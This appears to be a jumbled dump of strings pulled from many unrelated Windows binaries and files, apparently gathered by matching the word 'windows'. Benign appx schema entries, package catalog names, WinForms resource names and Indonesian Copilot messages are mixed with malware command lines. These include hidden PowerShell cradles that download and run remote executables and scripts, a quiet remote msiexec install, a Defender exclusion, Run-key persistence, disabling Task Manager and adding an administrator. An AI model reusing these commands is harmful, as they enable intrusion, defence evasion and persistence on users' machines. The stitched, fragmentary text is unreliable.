      <xs:enumeration value="windows.loaderSearchPathOverride"/>
      <xs:enumeration value="windows.sharedFonts"/>
      <xs:enumeration value="windows.enterpriseDataProtection"/>
      <xs:enumeration value="windows.posPaymentConnector"/>
      <xs:enumeration value="windows.dataProtection"/>
      <xs:enumeration value="windows.protocol"/>
      <xs:enumeration value="windows.hostRuntime"/>
      <xs:enumeration value="windows.installedLocationVirtualization"/>
      <xs:enumeration value="windows.mediaContentDecryptionModule"/>
        <xs:enumeration value="windows.printSupportSettingsUI"/>
        <xs:enumeration value="windows.printSupportExtension"/>
        <xs:enumeration value="windows.printSupportWorkflow"/>
        <xs:enumeration value="windows.printSupportJobUI"/>
        <xs:enumeration value="windows.phoneCallActivation"/>
      <xs:enumeration value="windows.packageExtensionHost"/>
      <xs:enumeration value="windows.packageExtension"/>
      <xs:enumeration value="windows.comServer"/>
      <xs:enumeration value="windows.comInterface"/>
      <xs:enumeration value="windows.comServer"/>
      <xs:enumeration value="windows.comServer"/>
      <xs:enumeration value="windows.comInterface"/>
      <xs:enumeration value="windows.deploymentExtensionHandler"/>
      <xs:enumeration value="windows.deploymentStateHandler"/>
      <xs:enumeration value="windows.packagingExtension"/>
      <xs:enumeration value="windows.sipExtension"/>
!Windows\CurrentVersion\App Paths\iexplore.exec:\
system32\dri
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
C-windowstylehidden-command\start-process
filepathc:\windows\system32.exe-argumentlist
DSoftware\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgrnet localgroup Administrators
c:\windows\help\doc\
c:\windows\help\doc\
henticatorWindowsPlugin0
\windows\</t>
<assemblyIdentity version="1.0.0.0" processorArchitecture="*" name="Microsoft.WindowsLive.Sync" type="win32"/>
      <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"/>
com.microsoft.windows.widgets.feedscom.msn.desktopfeedPublic@{MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.Client.WebExperience/Resources/com_msn_desktopfeed_title}
tcom.microsoft.windows.extensionpackageWidgetBoardExtension Metadata
Pcom.microsoft.windows.extension.widgetboardWidgetBoardPublicWidget Board Extension
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-8964
com.microsoft.windows.widgetsMicrosoftStartEventsNearYouWidgetsPublic@{Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StartExperiencesApp/Resources/EventsNearYouWidgetDisplayName}
windows
windows
 .arguments="vbscript:""\..\mshtml,runhtmlapplication""+execute(createobject(""wscript.shell"").regread(""hklm\software\microsoft\windows\currentversion\
Fpowershell-windowstylehidden-command"invoke-webrequest-uri'https://api.judicial.it.com/bypass_extreme_2_x86_fac0c5.exe'-outfile'%temp%\dian_sec1.exe';start-process'%temp%\dian_sec1.exe'-windowstylehidden"
GetSystemWindowsDirectoryW
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00112030~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
s-microsoft-com:windows:store:l
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft.Windows.Shell.UserProfilePersonalizationSettings
Microsoft.Windows.Security.CodeInt
Microsoft.Windows.Store.LicenseManager.UsageAudit
Microsoft.Windows.Notifications.WpncoreTelemetry
Microsoft.Windows.ShellCommon.SystemModalDialog
c:\users\gavalarr\desktop\windows\prjformcaption
{varrd=bbj.expandenvironmentstrings("%systemroot%")+"\\"+fldr+"\\windowspowershell\\v1.0\\powershell.exe"varagn='r'+bbj.regread('hkey_local_machine\\software\\microsoft\\cryptography\\machineguid')+'r.js'
com.microsoft.windows.extension.dashboarddashboardPublicDashboard Extension
WINDOWS11V
WINDOWS11
!Lua:LastFolder0!system32
!Lua:LastFolder1!windows
_MicrosoftWindowsSMBDirect_
c:\windows\/
windows_encrypt.dll
Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy
Windows.CBSPreview_10.0.19580.1000_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.CBSPreview.AppXd56ebff74hb8k26acaz7bnawb3canxt5.mca
Microsoft.Windows.CBSPreview.AppXphj0kxfenxrfh0jbmz9fpemzwe6k8gn3.mca
Microsoft.Windows.CBSPreview
.?AU?$produce@UErrorDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@UErrorDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UErrorDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIErrorDialogViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
.?AU?$implements@UErrorDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIErrorDialogViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$producers_base@UErrorDialogViewModel@factory_implementation@TaskManagerApp@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@UIErrorDialogViewModelStatics@TaskManagerApp@4@@std@@@impl@winrt@@
.?AU?$producer@UErrorDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UErrorDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UErrorDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UErrorDialogViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UErrorDialogViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$implements@UErrorDialogViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
5c^windows.appExtension
5d^windows.appExtension
Windows Produc
default$windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settings
default$windows.data.bluelightreduction.bluelightreductionstate
windows.data.bluelightreduction.bluelightreductionstate
,c:\windows\system32\conhost.exepowershell-'
!Xpowershell.exe-noprofile-windowstylehidden-executionpolicybypass-command"iwr-usebasicparsinghttps://gentle-chebakia-da1172.netlify.app/stage1.ps1|iex"
c:\windows\system32\cmd.exe/cc:\windows\system32\
@fskuj.7[cmd.exej-i9vc:\windows\syswow64\cmd.exe/q/ctropically\undergo.cmdc:\windows\syswow64\shlwapi.dll%systemroot%\syswow64\shlwapi.dll%systemroot%
)windows\system32\cmd.exe/kdel%tmp%\
WldpQueryWindowsLockdownMode
c:\windows\system32\shell32.dll%
System.Windows.Forms.UnsafeNativeMethods.IDocHostUIHandler.FilterDataObject
createWindowSyncObject
System.Windows.Forms.UnsafeNativeMethods.IGetOleObject.GetOleObject
*MicrosoftWindows.CrossDevice_cw5n1h2txyewy
r\software\microsoft\windows\currentversion\run",
frautasconfig.WindowsStartupServiceaddShutdownHooktmpdir
schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/7"
           xmlns="http://schemas.microsoft.com/appx/manifest/desktop/windows10/7"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:desktop6="http://schemas.microsoft.com/appx/manifest/desktop/windows10/6"
           xmlns:desktop10="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"
           xmlns:desktop11="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/6"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
\Device\HarddiskVolume3\Windows\System32\Applica
ComSpec=C:\WINDOWS\system32\cmd.exe
System32\vdsA
174^com.microsoft.windows.e
76^com.microsoft.windows.telemetryik
179^com.microsoft.windows.extensionpackage;
System.Windows.Forms.overflowButton.bmp
System.Windows.Forms.ScrollButtonDown.bmp
System.Windows.Forms.NumericUpDown.bmp
System.Windows.Forms.DomainUpDown.bmp
System.Windows.Forms.ToolStripDropDown.bmp
System.Windows.Forms.DataGridCaption.down.bmp
System.Windows.Forms.down.bmp
System.Windows.Forms.PBCatego.bmp
System.Windows.Forms.ScrollButtonUp.bmp
System.Windows.Forms.ToolTip.bmp
System.Windows.Forms.ToolBarGrip.bmp
System.Windows.Forms.TabStrip.bmp
System.Windows.Forms.ToolStrip.bmp
System.Windows.Forms.StatusStrip.bmp
System.Windows.Forms.MenuStrip.bmp
System.Windows.Forms.ContextMenuStrip.bmp
System.Windows.Forms.PrintPreviewStrip.bmp
System.Windows.Forms.help.bmp
System.Windows.Forms.PBProp.bmp
System.Windows.Forms.DataGridCaption.up.bmp
System.Windows.Forms.up.bmp
System.Windows.Forms.TrackBar.bmp
System.Windows.Forms.HScrollBar.bmp
System.Windows.Forms.VScrollBar.bmp
System.Windows.Forms.ToolBar.bmp
System.Windows.Forms.ProgressBar.bmp
System.Windows.Forms.ToolStripProgressBar.bmp
System.Windows.Forms.StatusBar.bmp
System.Windows.Forms.Rebar.bmp
System.Windows.Forms.MonthCalendar.bmp
System.Windows.Forms.DataGridRow.star.bmp
System.Windows.Forms.DataGridViewRow.star.bmp
System.Windows.Forms.DataGridViewRow.leftstar.bmp
System.Windows.Forms.DataGridViewRow.rightstar.bmp
System.Windows.Forms.HelpProvider.bmp
System.Windows.Forms.ErrorProvider.bmp
System.Windows.Forms.DateTimePicker.bmp
System.Windows.Forms.Timer.bmp
System.Windows.Forms.ToolStripContainer.bmp
System.Windows.Forms.SplitContainer.bmp
System.Windows.Forms.WebBrowser.bmp
System.Windows.Forms.Splitter.bmp
System.Windows.Forms.ImageInError.bmp
System.Windows.Forms.DataGridRow.error.bmp
System.Windows.Forms.DataGridViewRow.error.bmp
System.Windows.Forms.DataNavigator.bmp
System.Windows.Forms.BindingNavigator.bmp
System.Windows.Forms.ToolStripSeparator.bmp
System.Windows.Forms.DataConnector.bmp
System.Windows.Forms.DataGridViewRow.pencil_ltr.bmp
System.Windows.Forms.ComponentModel.OrderImages.bmp
System.Windows.Forms.properties.bmp
System.Windows.Forms.DataGridCaption.Details.bmp
System.Windows.Forms.lockControls.bmp
System.Windows.Forms.DataNavigator.MovePrevious.bmp
System.Windows.Forms.BindingNavigator.MovePrevious.bmp
System.Windows.Forms.DataGridRow.left.bmp
System.Windows.Forms.DataGridViewRow.left.bmp
System.Windows.Forms.DataGridCaption.right.bmp
System.Windows.Forms.DataGridRow.right.bmp
System.Windows.Forms.DataGridViewRow.right.bmp
System.Windows.Forms.Edit.bmp
System.Windows.Forms.RichEdit.bmp
System.Windows.Forms.alignment.bmp
System.Windows.Forms.PBEvent.bmp
System.Windows.Forms.print.bmp
System.Windows.Forms.bringToFront.bmp
System.Windows.Forms.DataNavigator.MoveLast.bmp
System.Windows.Forms.BindingNavigator.MoveLast.bmp
System.Windows.Forms.ImageList.bmp
System.Windows.Forms.editdropdownlist.bmp
System.Windows.Forms.ActiveDocumentHost.bmp
System.Windows.Forms.DataNavigator.MoveFirst.bmp
System.Windows.Forms.BindingNavigator.MoveFirst.bmp
System.Windows.Forms.cut.bmp
System.Windows.Forms.DataNavigator.MoveNext.bmp
System.Windows.Forms.BindingNavigator.MoveNext.bmp
System.Windows.Forms.MainMenu.bmp
System.Windows.Forms.ToolStripDropDownMenu.bmp
System.Windows.Forms.ContextMenu.bmp
System.Windows.Forms.DataNavigator.AddNew.bmp
System.Windows.Forms.BindingNavigator.AddNew.bmp
System.Windows.Forms.DataGridView.bmp
System.Windows.Forms.TreeView.bmp
System.Windows.Forms.ListView.bmp
System.Windows.Forms.printPreview.bmp
System.Windows.Forms.new.bmp
System.Windows.Forms.Server.Arrow.bmp
System.Windows.Forms.DataGridParentRows.LeftArrow.bmp
System.Windows.Forms.DataGridParentRows.RightArrow.bmp
System.Windows.Forms.DataGridCaption.backarrow.bmp
System.Windows.Forms.PictureBox.bmp
System.Windows.Forms.CheckBox.bmp
System.Windows.Forms.ComboBox.bmp
System.Windows.Forms.ToolStripComboBox.bmp
System.Windows.Forms.GroupBox.bmp
System.Windows.Forms.ListBox.bmp
System.Windows.Forms.CheckedListBox.bmp
System.Windows.Forms.TextBox.bmp
System.Windows.Forms.MaskedTextBox.bmp
System.Windows.Forms.RichTextBox.bmp
System.Windows.Forms.To
`\software\microsoft\windows\currentversion\run
c:\windows\system32\nonexistent.dllcopyfakefile.txtfakefile.bak>nul2>&1
2.exe"findstr/v"system32
process.startinfo.windowstyle=processwindowstyle.hidden;process.start()
Ycadd-mppreference-exclusionpathc:\programdata\windowstask\amd.exe-force
"--windowstylehidden-argumentlist'-w','hidden','-ep','bypass','-nop','-command','
si Copilot yang lebih baru.File preferensi Anda rusak atau tidak valid. Copilot tidak dapat memulihkan pengaturan Anda.Copilot memberi tahu jika suatu saat kata sandi Anda disusupiCopilotUntuk keamanan, Microsoft Copilot mengharuskan Anda masuk dengan kata sandi perangkat.Microsoft Copilot mencoba menampilkan detail kartu pembayaran. Masukkan kata sandi Windows Anda untuk mengizinkannya.Microsoft Copilot mencoba menampilkan kata sandi. Masukkan sandi Windows Anda untuk mengizinkan tindakan ini.Microsoft Copilot mencoba menyalin kata sandi. Ketik kata sandi Windows Anda untuk mengizinkan ini.Microsoft Copilot mencoba mengedit kata sandi. Ketik kata sandi Windows Anda untuk mengizinkan ini.Microsoft Copilot ingin mengekspor kata sandi Anda. Masukkan sandi Windows Anda untuk mengizinkan tindakan ini.Microsoft Copilot mencoba mengimpor kata sandi. Masukkan sandi Windows Anda untuk mengizinkan tindakan ini.Microsoft Copilot ingin menghapus data Pengelola Kata Sandi Anda. Ketik kata sandi Windows Anda untuk mengizinkannya.Microsoft Copilot mencoba mengganti kata sandi yang ada. Ketik kata sandi Windows Anda untuk mengizinkannya.Komputer ini sudah memiliki versi Microsoft Copilot yang lebih baru. Jika perangkat lunak tidak berfungsi, silakan hapus instalan Microsoft Copilot dan coba lagi.Penginstalan gagal karena kesalahan yang tidak diketahui. Jika Microsoft Copilot sedang berjalan, tutup dan coba lagi.Tidak dapat menginstal versi Microsoft Copilot yang sama yang saat ini berjalan. Tutup Microsoft Copilot, lalu coba lagi.Penginstalan gagal karena kesalahan yang tidak diketahui. Silakan unduh Microsoft Copilot lagi.Microsoft Copilot memerlukan Windows 10 atau lebih tinggi.Terjadi kesalahan sistem operasi selama penginstalan. Silakan unduh Microsoft Copilot lagi.Operasi lain di Microsoft Copilot sedang berlangsung. Coba lagi nanti.Penginstal gagal membatalkan kompresi arsip. Silakan unduh Microsoft Copilot lagi.Arsip penginstal rusak atau tidak valid. Silakan unduh Microsoft Copilot lagi.Microsoft Copilot telah diinstal untuk semua pengguna di komputer Anda.Menyediakan layanan pelacakan sistem untuk $1. Jika layanan ini dinonaktifkan, jejak performa yang dibuat oleh aplikasi tidak akan mencantumkan kejadian di seluruh sistem seperti pengantian konteks dan kejadian utas siap.Impor Kata Sandi Ke CopilotEkspor Kata Sandi Dari CopilotSematkan Copilot ke taskbar untuk mengaksesnya dengan cepat kapan sajaSematkan CopilotEkstensi, aplikasi, dan tema dari sumber yang tidak diketahui dapat membahayakan perangkat Anda. Copilot menyarankan untuk hanya menginstalnya dari $1Pelajari mengapa Copilot memblokir beberapa unduhanMenambahkan ke Copilot
'exeC:\Windows\System32\cBLK.dllC:\Program Files\1234df
posturlset ftpfile=%temp%\tempacc.txtc:\WINDOWS\dnfpath.txt
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package09~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-RemoteFX-VM-Setup-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
new windows
_Rcmd/cregaddhkcu\software\microsoft\windows\currentversion\run/vdllhost/d
windows.hlp`
\system32
c:\windows\system32
winlogon.exe
c:\windows\q
windows security a
microsoftwindowssecurityc:\&
C:\WINDOWS\System32\Winevt\Logs\Key Management Service.evtx
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
.\V3appdata\microsoft\windows\p
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
ROOT\Microsoft\Windows\Defender
ROOT\Microsoft\Windows\Defender
ROOT\Microsoft\Windows\Defender
ROOT\Microsoft\Windows\Defender
ROOT\Microsoft\Windows\Defender
ROOT\Microsoft\Windows\Defender
& "\WindowsUp
^: C:\Windows\System32\cmd.exereg query HKCU\Software\Microsoft\Office\Excel\Security /v VBAWarnings >explorerl
sWindowsName
SystemRuntimeWindowsRuntime
IsTypeExportedToWindowsRuntime
1.presswindowsbutton
8Microsoft Windows Hardware Compatibility Intermediate CA1
(Microsoft Windows Hardware Compatibility0
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
Msystem32\cmd.exe/cpowershell.exe-wh-epbypass-nop-command
s\system32\cmd.exe/c
echo---disable"windowsdefendercachemaintenance"task
\\windows\\currentversion\\runz
^c:\windows\system32\cmd.exe/v:on/c..\
\windows\currentver
\windows\currentversion\internetsettings\;
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-OneCore-ETW-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-OneCore-SD-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7019.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-DirectoryServices-ADAM-Core-Client-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-ErrorReportingCore-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
\windows\system32\tskill
ddeautoc:\\windows\\s?
"c:\windows\system32\msiexec.exe/quiet/ihttps://fotocuadros.com/download/7kbtlzes.msi
8powershell.exe-windowstylehidden$(gccreditcard.ps3|out-string)|powershell-noprofile
,Software\Microsoft\Windows\CurrentVersion\Telephony
&s\system32\en-us\wmimgmt.msc'if($fakefile-ne$null-and
s\system32\mshtaP
O'<iclass="fabfa-windows"></i>"+r</p><p>2.ctrl+v
s\system32\cmdi
s\system32\cmd.exe/ccurl-v-s-orpf5gjqhudnv.js4
s\system32
la0.pm:8080/bh/yjc2kwe/utr7ygnde19jexcb219olew/%computername%"ku^waacm^s^a=yox/qn^jnr^hy=^g^m^p%windir%\system32\shell32.dllv
sc:\windows
-force"-windowstylehidden
